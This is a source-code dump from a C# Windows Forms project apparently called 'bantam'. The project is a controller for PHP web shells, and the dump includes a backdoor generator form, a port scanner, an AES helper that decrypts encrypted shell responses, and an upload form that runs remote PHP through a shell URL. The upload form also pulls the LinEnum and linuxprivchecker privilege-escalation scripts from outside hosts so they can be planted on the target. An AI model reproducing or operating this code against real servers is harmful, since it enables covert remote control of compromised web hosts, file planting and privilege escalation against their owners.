*.scc 78 | 79 | # Chutzpah Test files 80 | _Chutzpah* 81 | 82 | # Visual C++ cache files 83 | ipch/ 84 | *.aps 85 | *.ncb 86 | *.opendb 87 | *.opensdf 88 | *.sdf 89 | *.cachefile 90 | *.VC.db 91 | *.VC.VC.opendb 92 | 93 | # Visual Studio profiler 94 | *.psess 95 | *.vsp 96 | *.vspx 97 | *.sap 98 | 99 | # Visual Studio Trace Files 100 | *.e2e 101 | 102 | # TFS 2012 Local Workspace 103 | $tf/ 104 | 105 | # Guidance Automation Toolkit 106 | *.gpState 107 | 108 | # ReSharper is a .NET coding add-in 109 | _ReSharper*/ 110 | *.[Rr]e[Ss]harper 111 | *.DotSettings.user 112 | 113 | # JustCode is a .NET coding add-in 114 | .JustCode 115 | 116 | # TeamCity is a build add-in 117 | _TeamCity* 118 | 119 | # DotCover is a Code Coverage Tool 120 | *.dotCover 121 | 122 | # AxoCover is a Code Coverage Tool 123 | .axoCover/* 124 | !.axoCover/settings.json 125 | 126 | # Visual Studio code coverage results 127 | *.coverage 128 | *.coveragexml 129 | 130 | # NCrunch 131 | _NCrunch_* 132 | .*crunch*.local.xml 133 | nCrunchTemp_* 134 | 135 | # MightyMoose 136 | *.mm.* 137 | AutoTest.Net/ 138 | 139 | # Web workbench (sass) 140 | .sass-cache/ 141 | 142 | # Installshield output folder 143 | [Ee]xpress/ 144 | 145 | # DocProject is a documentation generator add-in 146 | DocProject/buildhelp/ 147 | DocProject/Help/*.HxT 148 | DocProject/Help/*.HxC 149 | DocProject/Help/*.hhc 150 | DocProject/Help/*.hhk 151 | DocProject/Help/*.hhp 152 | DocProject/Help/Html2 153 | DocProject/Help/html 154 | 155 | # Click-Once directory 156 | publish/ 157 | 158 | # Publish Web Output 159 | *.[Pp]ublish.xml 160 | *.azurePubxml 161 | # Note: Comment the next line if you want to checkin your web deploy settings, 162 | # but database connection strings (with potential passwords) will be unencrypted 163 | *.pubxml 164 | *.publishproj 165 | 166 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 167 | # checkin your Azure Web App publish settings, but sensitive information contained 168 | # in these scripts will be unencrypted 169 | PublishScripts/ 170 | 171 | # NuGet Packages 172 | *.nupkg 173 | # The packages folder can be ignored because of Package Restore 174 | **/[Pp]ackages/* 175 | # except build/, which is used as an MSBuild target. 176 | !**/[Pp]ackages/build/ 177 | # Uncomment if necessary however generally it will be regenerated when needed 178 | #!**/[Pp]ackages/repositories.config 179 | # NuGet v3's project.json files produces more ignorable files 180 | *.nuget.props 181 | *.nuget.targets 182 | 183 | # Microsoft Azure Build Output 184 | csx/ 185 | *.build.csdef 186 | 187 | # Microsoft Azure Emulator 188 | ecf/ 189 | rcf/ 190 | 191 | # Windows Store app package directories and files 192 | AppPackages/ 193 | BundleArtifacts/ 194 | Package.StoreAssociation.xml 195 | _pkginfo.txt 196 | *.appx 197 | 198 | # Visual Studio cache files 199 | # files ending in .cache can be ignored 200 | *.[Cc]ache 201 | # but keep track of directories ending in .cache 202 | !*.[Cc]ache/ 203 | 204 | # Others 205 | ClientBin/ 206 | ~$* 207 | *~ 208 | *.dbmdl 209 | *.dbproj.schemaview 210 | *.jfm 211 | *.pfx 212 | *.publishsettings 213 | orleans.codegen.cs 214 | 215 | # Since there are multiple workflows, uncomment next line to ignore bower_components 216 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 217 | #bower_components/ 218 | 219 | # RIA/Silverlight projects 220 | Generated_Code/ 221 | 222 | # Backup & report files from converting an old project file 223 | # to a newer Visual Studio version. Backup files are not needed, 224 | # because we have git ;-) 225 | _UpgradeReport_Files/ 226 | Backup*/ 227 | UpgradeLog*.XML 228 | UpgradeLog*.htm 229 | 230 | # SQL Server files 231 | *.mdf 232 | *.ldf 233 | *.ndf 234 | 235 | # Business Intelligence projects 236 | *.rdl.data 237 | *.bim.layout 238 | *.bim_*.settings 239 | 240 | # Microsoft Fakes 241 | FakesAssemblies/ 242 | 243 | # GhostDoc plugin setting file 244 | *.GhostDoc.xml 245 | 246 | # Node.js Tools for Visual Studio 247 | .ntvs_analysis.dat 248 | node_modules/ 249 | 250 | # Typescript v1 declaration files 251 | typings/ 252 | 253 | # Visual Studio 6 build log 254 | *.plg 255 | 256 | # Visual Studio 6 workspace options file 257 | *.opt 258 | 259 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 260 | *.vbw 261 | 262 | # Visual Studio LightSwitch build output 263 | **/*.HTMLClient/GeneratedArtifacts 264 | **/*.DesktopClient/GeneratedArtifacts 265 | **/*.DesktopClient/ModelManifest.xml 266 | **/*.Server/GeneratedArtifacts 267 | **/*.Server/ModelManifest.xml 268 | _Pvt_Extensions 269 | 270 | # Paket dependency manager 271 | .paket/paket.exe 272 | paket-files/ 273 | 274 | # FAKE - F# Make 275 | .fake/ 276 | 277 | # JetBrains Rider 278 | .idea/ 279 | *.sln.iml 280 | 281 | # CodeRush 282 | .cr/ 283 | 284 | # Python Tools for Visual Studio (PTVS) 285 | __pycache__/ 286 | *.pyc 287 | 288 | # Cake - Uncomment if you are using it 289 | # tools/** 290 | # !tools/packages.config 291 | 292 | # Tabs Studio 293 | *.tss 294 | 295 | # Telerik's JustMock configuration file 296 | *.jmconfig 297 | 298 | # BizTalk build output 299 | *.btp.cs 300 | *.btm.cs 301 | *.odx.cs 302 | *.xsd.cs 303 | 304 | # OpenCover UI analysis results 305 | OpenCover/ 306 | bantam/resources/folder.png 307 | bantam/resources/floopy.png 308 | -------------------------------------------------------------------------------- /bantam/Forms/BackdoorGenerator.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 17, 17 122 | 123 | 124 | 132, 17 125 | 126 | 127 | 35 128 | 129 | -------------------------------------------------------------------------------- /bantam/Forms/PortScanner.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace bantam.Forms 2 | { 3 | partial class PortScanner 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) { 17 | components.Dispose(); 18 | } 19 | base.Dispose(disposing); 20 | } 21 | 22 | #region Windows Form Designer generated code 23 | 24 | /// 25 | /// Required method for Designer support - do not modify 26 | /// the contents of this method with the code editor. 27 | /// 28 | private void InitializeComponent() 29 | { 30 | this.textBoxHost = new System.Windows.Forms.TextBox(); 31 | this.label1 = new System.Windows.Forms.Label(); 32 | this.textBoxPorts = new System.Windows.Forms.TextBox(); 33 | this.label2 = new System.Windows.Forms.Label(); 34 | this.comboBoxCommonPorts = new System.Windows.Forms.ComboBox(); 35 | this.btnScan = new System.Windows.Forms.Button(); 36 | this.label3 = new System.Windows.Forms.Label(); 37 | this.labelDynStatus = new System.Windows.Forms.Label(); 38 | this.SuspendLayout(); 39 | // 40 | // textBoxHost 41 | // 42 | this.textBoxHost.Location = new System.Drawing.Point(65, 12); 43 | this.textBoxHost.Name = "textBoxHost"; 44 | this.textBoxHost.Size = new System.Drawing.Size(334, 24); 45 | this.textBoxHost.TabIndex = 0; 46 | // 47 | // label1 48 | // 49 | this.label1.AutoSize = true; 50 | this.label1.Location = new System.Drawing.Point(13, 15); 51 | this.label1.Name = "label1"; 52 | this.label1.Size = new System.Drawing.Size(38, 16); 53 | this.label1.TabIndex = 1; 54 | this.label1.Text = "Host:"; 55 | // 56 | // textBoxPorts 57 | // 58 | this.textBoxPorts.Location = new System.Drawing.Point(65, 61); 59 | this.textBoxPorts.MaxLength = 5; 60 | this.textBoxPorts.Name = "textBoxPorts"; 61 | this.textBoxPorts.Size = new System.Drawing.Size(58, 24); 62 | this.textBoxPorts.TabIndex = 2; 63 | this.textBoxPorts.TextChanged += new System.EventHandler(this.textBoxPorts_TextChanged); 64 | this.textBoxPorts.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.textBoxPorts_KeyPress); 65 | // 66 | // label2 67 | // 68 | this.label2.AutoSize = true; 69 | this.label2.Location = new System.Drawing.Point(13, 64); 70 | this.label2.Name = "label2"; 71 | this.label2.Size = new System.Drawing.Size(35, 16); 72 | this.label2.TabIndex = 3; 73 | this.label2.Text = "Port:"; 74 | // 75 | // comboBoxCommonPorts 76 | // 77 | this.comboBoxCommonPorts.FormattingEnabled = true; 78 | this.comboBoxCommonPorts.Items.AddRange(new object[] { 79 | "", 80 | "1-1024", 81 | "common ports", 82 | "all ports"}); 83 | this.comboBoxCommonPorts.Location = new System.Drawing.Point(198, 62); 84 | this.comboBoxCommonPorts.Name = "comboBoxCommonPorts"; 85 | this.comboBoxCommonPorts.Size = new System.Drawing.Size(201, 24); 86 | this.comboBoxCommonPorts.TabIndex = 4; 87 | this.comboBoxCommonPorts.SelectedIndexChanged += new System.EventHandler(this.comboBoxCommonPorts_SelectedIndexChanged); 88 | // 89 | // btnScan 90 | // 91 | this.btnScan.Enabled = false; 92 | this.btnScan.Location = new System.Drawing.Point(288, 103); 93 | this.btnScan.Name = "btnScan"; 94 | this.btnScan.Size = new System.Drawing.Size(111, 36); 95 | this.btnScan.TabIndex = 6; 96 | this.btnScan.Text = "Scan"; 97 | this.btnScan.UseVisualStyleBackColor = true; 98 | this.btnScan.Click += new System.EventHandler(this.btnScan_Click); 99 | // 100 | // label3 101 | // 102 | this.label3.AutoSize = true; 103 | this.label3.Location = new System.Drawing.Point(150, 65); 104 | this.label3.Name = "label3"; 105 | this.label3.Size = new System.Drawing.Size(21, 16); 106 | this.label3.TabIndex = 7; 107 | this.label3.Text = "or"; 108 | // 109 | // labelDynStatus 110 | // 111 | this.labelDynStatus.AutoSize = true; 112 | this.labelDynStatus.Location = new System.Drawing.Point(12, 127); 113 | this.labelDynStatus.Name = "labelDynStatus"; 114 | this.labelDynStatus.Size = new System.Drawing.Size(0, 16); 115 | this.labelDynStatus.TabIndex = 8; 116 | // 117 | // PortScanner 118 | // 119 | this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 16F); 120 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 121 | this.ClientSize = new System.Drawing.Size(411, 150); 122 | this.Controls.Add(this.labelDynStatus); 123 | this.Controls.Add(this.label3); 124 | this.Controls.Add(this.btnScan); 125 | this.Controls.Add(this.comboBoxCommonPorts); 126 | this.Controls.Add(this.label2); 127 | this.Controls.Add(this.textBoxPorts); 128 | this.Controls.Add(this.label1); 129 | this.Controls.Add(this.textBoxHost); 130 | this.Font = new System.Drawing.Font("Microsoft Tai Le", 9.75F); 131 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; 132 | this.MaximizeBox = false; 133 | this.MinimizeBox = false; 134 | this.Name = "PortScanner"; 135 | this.Text = "Port Scanner"; 136 | this.ResumeLayout(false); 137 | this.PerformLayout(); 138 | 139 | } 140 | 141 | #endregion 142 | 143 | private System.Windows.Forms.TextBox textBoxHost; 144 | private System.Windows.Forms.Label label1; 145 | private System.Windows.Forms.TextBox textBoxPorts; 146 | private System.Windows.Forms.Label label2; 147 | private System.Windows.Forms.ComboBox comboBoxCommonPorts; 148 | private System.Windows.Forms.Button btnScan; 149 | private System.Windows.Forms.Label label3; 150 | private System.Windows.Forms.Label labelDynStatus; 151 | } 152 | } -------------------------------------------------------------------------------- /bantam/Classes/CryptoHelper.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Collections.ObjectModel; 4 | using System.IO; 5 | using System.Security.Cryptography; 6 | using System.Text; 7 | 8 | namespace bantam.Classes 9 | { 10 | static class CryptoHelper 11 | { 12 | /// 13 | /// IV length in bytes, for AES-256 in CBC 14 | /// 15 | public const int IV_Length = 16; 16 | 17 | /// 18 | /// Key length in bytes, for AES-256 in CBC 19 | /// 20 | public const int KEY_Length = 32; 21 | 22 | /// 23 | /// The different php methods that can be included to do AES-256 crypto operations 24 | /// 25 | public enum RESPONSE_ENCRYPTION_TYPES 26 | { 27 | OPENSSL = 0, 28 | MCRYPT 29 | } 30 | 31 | /// 32 | /// A string representation of "enum RESPONSE_ENCRYPTION_TYPES" 33 | /// 34 | public static readonly ReadOnlyCollection encryptoModeStrings = new List { 35 | "openssl", 36 | "mcrypt", 37 | }.AsReadOnly(); 38 | 39 | /// 40 | /// 41 | /// 42 | public static string GetRandomEncryptionKey() 43 | { 44 | return Helper.RandomString(KEY_Length, true, true, true); 45 | } 46 | 47 | /// 48 | /// 49 | /// 50 | public static string GetRandomEncryptionIV() 51 | { 52 | return Helper.RandomString(IV_Length, true, true, true); 53 | } 54 | 55 | /// 56 | /// Generic wrapper/handler for decrypting a response from a shell 57 | /// 58 | /// 59 | /// 60 | /// 61 | /// 62 | /// 63 | public static string DecryptShellResponse(string response, string encryptionKey, string encryptionIV, int encryptResponseMode) 64 | { 65 | if (string.IsNullOrEmpty(response)) { 66 | return string.Empty; 67 | } 68 | 69 | byte[] encryptedResult = Helper.DecodeBase64(response); 70 | 71 | if (encryptedResult == null) { 72 | return string.Empty; 73 | } 74 | 75 | string decryptedResult = string.Empty; 76 | 77 | decryptedResult = DecryptRJ256(encryptedResult, encryptionKey, encryptionIV); 78 | 79 | if (string.IsNullOrEmpty(decryptedResult)) { 80 | return string.Empty; 81 | } 82 | 83 | string finalResult = Helper.DecodeBase64ToString(decryptedResult); 84 | 85 | return finalResult; 86 | } 87 | 88 | /// 89 | /// Intializes and returns an "RijndaelManaged" instance that contains our AES crypto settings, currently using AES-256 in CBC mode. 90 | /// 91 | /// 92 | /// 93 | /// 94 | public static RijndaelManaged BuildAesMode(byte[] encryptionKey, byte[] encryptionIV) 95 | { 96 | RijndaelManaged aes = new RijndaelManaged { 97 | Padding = PaddingMode.PKCS7, 98 | Mode = CipherMode.CBC, 99 | KeySize = 256, 100 | BlockSize = 128, 101 | Key = encryptionKey, 102 | IV = encryptionIV 103 | }; 104 | 105 | return aes; 106 | } 107 | 108 | /// 109 | /// Decrypts an encrypted array of bytes to a string, using AES-256 / "Rijndael"-256 110 | /// 111 | /// 112 | /// 113 | /// 114 | /// 115 | public static string DecryptRJ256(byte[] cipherText, string encryptionKey, string encryptionIV) 116 | { 117 | string result = string.Empty; 118 | byte[] Key = Encoding.UTF8.GetBytes(encryptionKey); 119 | byte[] IV = Encoding.UTF8.GetBytes(encryptionIV); 120 | 121 | using (RijndaelManaged aes = BuildAesMode(Key, IV)) { 122 | try { 123 | using (MemoryStream memoryStream = new MemoryStream(cipherText)) 124 | using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(Key, IV), CryptoStreamMode.Read)) 125 | using (StreamReader streamReader = new StreamReader(cryptoStream)) { 126 | result = streamReader.ReadToEnd(); 127 | } 128 | } 129 | catch (Exception e) { 130 | LogHelper.AddGlobalLog("Failed to decrypt cipherText - ( " + e.Message + " )", "Decryption routine failure", LogHelper.LOG_LEVEL.WARNING); 131 | } 132 | finally { 133 | aes.Clear(); 134 | } 135 | } 136 | return result; 137 | } 138 | 139 | /// 140 | /// Encrypts an array of plaintext bytes using AES-256 / "Rijndael"-256 141 | /// 142 | /// 143 | /// 144 | /// 145 | /// 146 | public static string EncryptBytesToRJ256ToBase64(byte[] plainText, string encryptionKey, string encryptionIV) 147 | { 148 | string result = string.Empty; 149 | byte[] IV = Encoding.UTF8.GetBytes(encryptionIV); 150 | byte[] Key = Encoding.UTF8.GetBytes(encryptionKey); 151 | 152 | using (RijndaelManaged aes = BuildAesMode(Key, IV)) { 153 | try { 154 | using (MemoryStream memoryStream = new MemoryStream()) { 155 | using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateEncryptor(Key, IV), CryptoStreamMode.Write)) { 156 | cryptoStream.Write(plainText, 0, plainText.Length); 157 | cryptoStream.Close(); 158 | } 159 | result = Convert.ToBase64String(memoryStream.ToArray()); 160 | } 161 | } 162 | catch (Exception e) { 163 | LogHelper.AddGlobalLog("Failed to encrypt string - ( " + e.Message + " )", "Encryption routine failure", LogHelper.LOG_LEVEL.WARNING); 164 | } 165 | finally { 166 | aes.Clear(); 167 | } 168 | } 169 | return result; 170 | } 171 | 172 | /// 173 | /// Overloaded to accept a string as plaintext 174 | /// 175 | /// 176 | /// 177 | /// 178 | /// 179 | public static string EncryptBytesToRJ256ToBase64(string plainText, string encryptionKey, string encryptionIV) 180 | { 181 | return EncryptBytesToRJ256ToBase64(Encoding.UTF8.GetBytes(plainText), encryptionKey, encryptionIV); 182 | } 183 | } 184 | } 185 | -------------------------------------------------------------------------------- /bantam/Forms/UploadFile.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Windows.Forms; 5 | 6 | using bantam.Classes; 7 | 8 | namespace bantam.Forms 9 | { 10 | public partial class UploadFile : Form 11 | { 12 | /// 13 | /// 14 | /// 15 | private string LocalFileLocation; 16 | 17 | /// 18 | /// 19 | /// 20 | private readonly bool EditingSelf; 21 | 22 | /// 23 | /// // 24 | /// 25 | private readonly string ServerPath; 26 | 27 | /// 28 | /// 29 | /// 30 | private readonly string ShellUrl; 31 | 32 | /// 33 | /// Normal Upload file constructor, sets full url to Shell, and Full path of upload directory 34 | /// 35 | /// 36 | /// 37 | public UploadFile(string shellUrl, string serverPath) 38 | { 39 | InitializeComponent(); 40 | 41 | ShellUrl = shellUrl; 42 | 43 | lblDynPath.Text = serverPath; 44 | ServerPath = serverPath; 45 | } 46 | 47 | /// 48 | /// Constructor for editing bantams self php code 49 | /// 50 | /// 51 | /// 52 | /// 53 | public UploadFile(string shellUrl, string content, bool editingBantamPhpCode) 54 | { 55 | InitializeComponent(); 56 | 57 | ShellUrl = shellUrl; 58 | richTextBox1.Text = content; 59 | 60 | btnBrowse.Enabled = false; 61 | txtBoxFileName.Enabled = false; 62 | 63 | txtBoxFileName.Text = "Editing Bantam"; 64 | lblDynPath.Text = "WARNING - Editing bantam source code, be very careful...."; 65 | 66 | EditingSelf = true; 67 | } 68 | 69 | /// 70 | /// Browse for local file to upload 71 | /// 72 | /// 73 | /// 74 | private void btnBrowse_Click(object sender, EventArgs e) 75 | { 76 | using (var openShellXMLDialog = new OpenFileDialog { 77 | Filter = "All files (*.*)|*.*|" 78 | + "PHP files (*.php)|*.php|" 79 | + "Text files (*.txt)|*.txt|" 80 | + "SH files (*.sh)|*.sh|" 81 | + "Python files (*.py)|*.py|" 82 | + "HTML files (*.html|*.html|" 83 | + "C files (*.c|*.c", 84 | FilterIndex = 1, 85 | RestoreDirectory = false 86 | }) { 87 | if (openShellXMLDialog.ShowDialog() == DialogResult.OK) { 88 | LocalFileLocation = openShellXMLDialog.FileName; 89 | 90 | List displayableFileExtensions = new List { 91 | ".php", 92 | ".txt", 93 | ".html", 94 | ".sh", 95 | ".xml", 96 | ".c", 97 | ".cpp", 98 | ".h", 99 | ".pl", 100 | ".asp", 101 | ".aspx", 102 | ".py", 103 | ".js", 104 | ".jsp" 105 | }; 106 | 107 | string ext = Path.GetExtension(LocalFileLocation); 108 | 109 | //show file contents in richtextbox if it's a text file 110 | if (displayableFileExtensions.Contains(ext)) { 111 | string text = string.Empty; 112 | using (StreamReader sr = new StreamReader(LocalFileLocation)) { 113 | text = sr.ReadToEnd(); 114 | } 115 | 116 | richTextBox1.Text = text; 117 | } else { 118 | richTextBox1.Text = "Cannot diplay that files contents..."; 119 | } 120 | btnUpload.Enabled = true; 121 | } 122 | } 123 | } 124 | 125 | /// 126 | /// Main upload routine 127 | /// 128 | /// 129 | /// 130 | private async void btnUpload_Click(object sender, EventArgs e) 131 | { 132 | string phpCode = string.Empty; 133 | 134 | btnBrowse.Enabled = false; 135 | btnUpload.Enabled = false; 136 | richTextBox1.Enabled = false; 137 | 138 | if (EditingSelf) { 139 | if (!string.IsNullOrEmpty(richTextBox1.Text)) { 140 | phpCode = Helper.EncodeBase64ToString(richTextBox1.Text); 141 | } else { 142 | LogHelper.AddShellLog(ShellUrl, "Attempted to upload empty file/data to self...", LogHelper.LOG_LEVEL.INFO); 143 | btnUpload.Enabled = true; 144 | return; 145 | } 146 | 147 | phpCode = PhpBuilder.WriteFileVar(PhpBuilder.phpServerScriptFileName, phpCode); 148 | } else { 149 | if (!string.IsNullOrEmpty(LocalFileLocation)) { 150 | phpCode = Convert.ToBase64String(File.ReadAllBytes(LocalFileLocation)); 151 | } else if (!string.IsNullOrEmpty(richTextBox1.Text)) { 152 | phpCode = Helper.EncodeBase64ToString(richTextBox1.Text); 153 | } else { 154 | LogHelper.AddShellLog(ShellUrl, "Attempted to upload empty file/data...", LogHelper.LOG_LEVEL.INFO); 155 | btnUpload.Enabled = true; 156 | return; 157 | } 158 | 159 | string remoteFileLocation = ServerPath + "/" + txtBoxFileName.Text; 160 | phpCode = PhpBuilder.WriteFile(remoteFileLocation, phpCode); 161 | } 162 | 163 | await WebRequestHelper.ExecuteRemotePHP(ShellUrl, phpCode); 164 | 165 | btnUpload.Enabled = true; 166 | btnBrowse.Enabled = true; 167 | richTextBox1.Enabled = true; 168 | 169 | this.Close(); 170 | } 171 | 172 | /// 173 | /// If we get content within the richtextboxContent, enable upload button 174 | /// 175 | /// 176 | /// 177 | private void richTextBox1_TextChanged(object sender, EventArgs e) 178 | { 179 | if (string.IsNullOrEmpty(richTextBox1.Text)) { 180 | btnUpload.Enabled = false; 181 | } else { 182 | btnUpload.Enabled = true; 183 | } 184 | } 185 | 186 | //todo store this URL elsewhere? 187 | private async void linEnumToolStripMenuItem_Click(object sender, EventArgs e) 188 | { 189 | richTextBox1.Text = await WebRequestHelper.GetRequest("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); 190 | } 191 | 192 | private async void linuxPrivCheckerpyToolStripMenuItem_Click(object sender, EventArgs e) 193 | { 194 | richTextBox1.Text = await WebRequestHelper.GetRequest("https://www.securitysift.com/download/linuxprivchecker.py"); 195 | } 196 | } 197 | } 198 | -------------------------------------------------------------------------------- /bantam/Forms/ProxyOptions.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace bantam.Forms 2 | { 3 | partial class ProxyOptions 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) { 17 | components.Dispose(); 18 | } 19 | base.Dispose(disposing); 20 | } 21 | 22 | #region Windows Form Designer generated code 23 | 24 | /// 25 | /// Required method for Designer support - do not modify 26 | /// the contents of this method with the code editor. 27 | /// 28 | private void InitializeComponent() 29 | { 30 | this.buttonConnect = new System.Windows.Forms.Button(); 31 | this.txtBoxProxyUrl = new System.Windows.Forms.TextBox(); 32 | this.txtBoxProxyPort = new System.Windows.Forms.TextBox(); 33 | this.label1 = new System.Windows.Forms.Label(); 34 | this.label2 = new System.Windows.Forms.Label(); 35 | this.comboBoxProxyType = new System.Windows.Forms.ComboBox(); 36 | this.label3 = new System.Windows.Forms.Label(); 37 | this.buttonResetProxy = new System.Windows.Forms.Button(); 38 | this.SuspendLayout(); 39 | // 40 | // buttonConnect 41 | // 42 | this.buttonConnect.Location = new System.Drawing.Point(402, 91); 43 | this.buttonConnect.Margin = new System.Windows.Forms.Padding(4); 44 | this.buttonConnect.Name = "buttonConnect"; 45 | this.buttonConnect.Size = new System.Drawing.Size(115, 33); 46 | this.buttonConnect.TabIndex = 0; 47 | this.buttonConnect.Text = "Connect"; 48 | this.buttonConnect.UseVisualStyleBackColor = true; 49 | this.buttonConnect.Click += new System.EventHandler(this.buttonConnect_Click); 50 | // 51 | // txtBoxProxyUrl 52 | // 53 | this.txtBoxProxyUrl.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F); 54 | this.txtBoxProxyUrl.Location = new System.Drawing.Point(16, 37); 55 | this.txtBoxProxyUrl.Margin = new System.Windows.Forms.Padding(4); 56 | this.txtBoxProxyUrl.Name = "txtBoxProxyUrl"; 57 | this.txtBoxProxyUrl.Size = new System.Drawing.Size(350, 22); 58 | this.txtBoxProxyUrl.TabIndex = 2; 59 | // 60 | // txtBoxProxyPort 61 | // 62 | this.txtBoxProxyPort.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F); 63 | this.txtBoxProxyPort.Location = new System.Drawing.Point(402, 37); 64 | this.txtBoxProxyPort.Margin = new System.Windows.Forms.Padding(4); 65 | this.txtBoxProxyPort.Name = "txtBoxProxyPort"; 66 | this.txtBoxProxyPort.Size = new System.Drawing.Size(115, 22); 67 | this.txtBoxProxyPort.TabIndex = 3; 68 | this.txtBoxProxyPort.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtBoxProxyPort_KeyPress); 69 | // 70 | // label1 71 | // 72 | this.label1.AutoSize = true; 73 | this.label1.Location = new System.Drawing.Point(16, 17); 74 | this.label1.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); 75 | this.label1.Name = "label1"; 76 | this.label1.Size = new System.Drawing.Size(62, 16); 77 | this.label1.TabIndex = 4; 78 | this.label1.Text = "Proxy Url"; 79 | // 80 | // label2 81 | // 82 | this.label2.AutoSize = true; 83 | this.label2.Location = new System.Drawing.Point(398, 17); 84 | this.label2.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); 85 | this.label2.Name = "label2"; 86 | this.label2.Size = new System.Drawing.Size(69, 16); 87 | this.label2.TabIndex = 5; 88 | this.label2.Text = "Proxy Port"; 89 | // 90 | // comboBoxProxyType 91 | // 92 | this.comboBoxProxyType.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F); 93 | this.comboBoxProxyType.FormattingEnabled = true; 94 | this.comboBoxProxyType.Location = new System.Drawing.Point(16, 100); 95 | this.comboBoxProxyType.Margin = new System.Windows.Forms.Padding(4); 96 | this.comboBoxProxyType.Name = "comboBoxProxyType"; 97 | this.comboBoxProxyType.Size = new System.Drawing.Size(144, 24); 98 | this.comboBoxProxyType.TabIndex = 6; 99 | // 100 | // label3 101 | // 102 | this.label3.AutoSize = true; 103 | this.label3.Location = new System.Drawing.Point(16, 80); 104 | this.label3.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); 105 | this.label3.Name = "label3"; 106 | this.label3.Size = new System.Drawing.Size(77, 16); 107 | this.label3.TabIndex = 7; 108 | this.label3.Text = "Proxy Type"; 109 | // 110 | // buttonResetProxy 111 | // 112 | this.buttonResetProxy.Enabled = false; 113 | this.buttonResetProxy.Location = new System.Drawing.Point(295, 91); 114 | this.buttonResetProxy.Name = "buttonResetProxy"; 115 | this.buttonResetProxy.Size = new System.Drawing.Size(100, 33); 116 | this.buttonResetProxy.TabIndex = 8; 117 | this.buttonResetProxy.Text = "Reset"; 118 | this.buttonResetProxy.UseVisualStyleBackColor = true; 119 | this.buttonResetProxy.Click += new System.EventHandler(this.buttonResetProxy_Click); 120 | // 121 | // ProxyOptions 122 | // 123 | this.AutoScaleDimensions = new System.Drawing.SizeF(8F, 16F); 124 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 125 | this.ClientSize = new System.Drawing.Size(530, 138); 126 | this.Controls.Add(this.buttonResetProxy); 127 | this.Controls.Add(this.label3); 128 | this.Controls.Add(this.comboBoxProxyType); 129 | this.Controls.Add(this.label2); 130 | this.Controls.Add(this.label1); 131 | this.Controls.Add(this.txtBoxProxyPort); 132 | this.Controls.Add(this.txtBoxProxyUrl); 133 | this.Controls.Add(this.buttonConnect); 134 | this.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F); 135 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; 136 | this.Margin = new System.Windows.Forms.Padding(4); 137 | this.MaximizeBox = false; 138 | this.MinimizeBox = false; 139 | this.Name = "ProxyOptions"; 140 | this.ShowIcon = false; 141 | this.Text = "Proxy Options"; 142 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.ProxyOptions_FormClosing); 143 | this.ResumeLayout(false); 144 | this.PerformLayout(); 145 | 146 | } 147 | 148 | #endregion 149 | 150 | private System.Windows.Forms.Button buttonConnect; 151 | private System.Windows.Forms.TextBox txtBoxProxyUrl; 152 | private System.Windows.Forms.TextBox txtBoxProxyPort; 153 | private System.Windows.Forms.Label label1; 154 | private System.Windows.Forms.Label label2; 155 | private System.Windows.Forms.ComboBox comboBoxProxyType; 156 | private System.Windows.Forms.Label label3; 157 | private System.Windows.Forms.Button buttonResetProxy; 158 | } 159 | } -------------------------------------------------------------------------------- /bantam/Forms/Options.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Collections.ObjectModel; 4 | using System.ComponentModel; 5 | using System.Data; 6 | using System.Drawing; 7 | using System.Linq; 8 | using System.Text; 9 | using System.Threading.Tasks; 10 | using System.Windows.Forms; 11 | 12 | using bantam.Classes; 13 | 14 | namespace bantam.Forms 15 | { 16 | public partial class Options : Form 17 | { 18 | /// 19 | /// Php Shell Code execution vectors 20 